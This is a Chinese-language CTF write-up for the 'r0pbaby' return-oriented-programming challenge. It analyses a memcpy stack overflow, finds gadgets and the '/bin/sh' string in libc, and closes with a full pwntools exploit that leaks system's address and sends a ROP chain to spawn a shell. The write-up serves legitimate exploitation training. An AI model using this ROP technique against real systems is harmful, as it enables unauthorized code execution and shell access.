0x00 前言

本文有关的binary可以到我的github中下载:https://github.com/cxliker/ctf_pwn/tree/master/r0pbaby
从题目就可以看出来,这应该是算一道简单的rop题目吧。

0x01 分析

题目没有给libc.so文件,只有一个elf文件,可以先用checksec.sh看看程序开了什么保护:

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

可以看到r0pbaby是一个64位的程序,传参要用寄存器实现,往往就意味需要找gadgets来实现。
NX开启了意味着栈上不能执行shellcode,而PIE开启了说明每次程序执行的时候内部变量什么的地址都是变化的。

接下来我们还是像例行公事一下运行一下程序跑跑流程,以企图找到程序漏洞的地方。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# ./r0pbaby

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 1
libc.so.6: 0x00007FDF6F13E4F0
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 2
Enter symbol: system
Symbol system: 0x00007FDF6E9D1510
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 3
Enter bytes to send (max 1024): test
Invalid amount.
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 4
Exiting.

从上图我们看出
功能1:用来获得libc的基地址。
功能2:可以获得任意libc function的地址
功能3:我们可以发送不超过1024个字符的数据到程序中

做到现在,事情已经有一点明朗了。
不过题目中有一个奇怪的地方是,从功能1获得的libc基地址并不是真正的libc的基地址,因为你可以看到上面的结果,基地址的地址怎么会比system函数的地址还要大?并且基地址的地址并没有页对齐,不是0x1000的倍数(页大小通常4k,即4096bytes)。一个大神的writeup中提到说很有可能是题目的bug。
不过即使没有libc的基地址,我们有功能2,可以泄漏任何函数的地址,已经足够我们算出libc的基地址了。然后通过泄漏出来的libc中的函数地址,构造rop链利用功能3发送出去getshell。

为了证明思路,我们用ida分析一下程序:

程序中用到了memcpy函数,但是并没有检查并限制数据的大小,于是产生了缓冲区溢出漏洞。

memcpy的API:

void memcpy(voiddest, const void * src, size_t n);
由src指向地址为起始地址的连续n个字节的数据复制到以destin指向地址为起始地址的空间内。

其中一个值得注意的地方是,通过阅读代码发现,功能3正确的用法应该是先输入数据的长度,再输入数据。如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# ./r0pbaby 

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 3
Enter bytes to send (max 1024): 5
abcde
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: Bad choice.

根据上面的信息,解题的思路已经出来了,我们需要:

  1. 找到pop rdi; ret的gadgets。
  2. 算出/bin/sh在libc中的地址。
  3. 找到system的地址,这个容易,可以直接通过功能2获得。

因为程序中没有调用system函数,也没有/bin/sh的字符串,所以只能到libc.so中找。但由于题目没有给libc.so文件,就只能用自己的本机的测试。如果题目环境中的libc.so文件和自己本地的版本有差异,可以通过功能2 leak出两个函数的地址,算出offset,再看看在libc database中找到对应的版本。

找到本机的libc.so文件

1
2
3
4
5
# ldd r0pbaby 
linux-vdso.so.1 (0x00007ffc70789000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007ff469cbd000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ff469903000)
/lib64/ld-linux-x86-64.so.2 (0x00007ff46a0c4000)

可以看到文件在/lib/x86_64-linux-gnu/libc.so.6

0x02 找Gadgets

1
2
3
4
5
# ROPgadget --binary lib.so.6 --only 'pop|ret' | grep rdi
0x0000000000021fad : pop rdi ; pop rbp ; ret
0x000000000002144f : pop rdi ; ret
0x000000000009c851 : pop rdi ; ret 0xd
0x00000000000b505d : pop rdi ; ret 0xfff6

找到一个很适用的0x000000000002144f,但由于程序开启了PIE,服务器甚至也可能开了ASLR,所以每次的地址都是变化的,但是虽然是变化,函数之间的偏移量是不变的,如果我们通过功能2获取到了一个函数的真实地址,就可以通过偏移量算出这个gadget的真实地址。以下的/bin/sh也同理。

0x03 找/bin/sh的地址

pwntools有个很好用的模块ELF,里面有个很好用的函数可以找到字符串的地址,用法如下:

1
2
3
4
5
from pwn import *

elf = ELF('lib.so.6')

sh_addr = elf.search('/bin/sh').next()

0x04 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *

elf = ELF('lib.so.6')

base_libc_addr = elf.symbols['__libc_start_main']

system_addr = elf.symbols['system']

sh_addr = elf.search('/bin/sh').next()

offset_system_addr = system_addr - base_libc_addr
offset_sh_addr = sh_addr - base_libc_addr
offset_pr_addr = 0x2144f - system_addr


p = process('./r0pbaby')
p.recvuntil('Menu:')
p.recvuntil(':')
p.sendline("2")
p.recvuntil(':')
p.sendline('system')
p.recvuntil(':')
system_addr_real = int(p.recvline(), 16)

libc_base = system_addr_real - offset_system_addr
print "libc_base = " + hex(libc_base)
rdi_addr = system_addr_real + offset_pr_addr
print "rdi_addr = " + hex(rdi_addr)
binsh_addr = libc_base + offset_sh_addr
print "binsh_addr = " + hex(binsh_addr)
print "system_addr = " + hex(system_addr_real)

# 将binsh的内容弹到rdi中,然后调用system
payload = "A" * 8 + p64(rdi_addr) + p64(binsh_addr) + p64(system_addr_real)

p.recv(1024)
p.sendline('3')
p.recv(1024)
p.send("%d\n"%(len(payload)+1))
p.sendline(payload)
p.sendline('4')

p.interactive()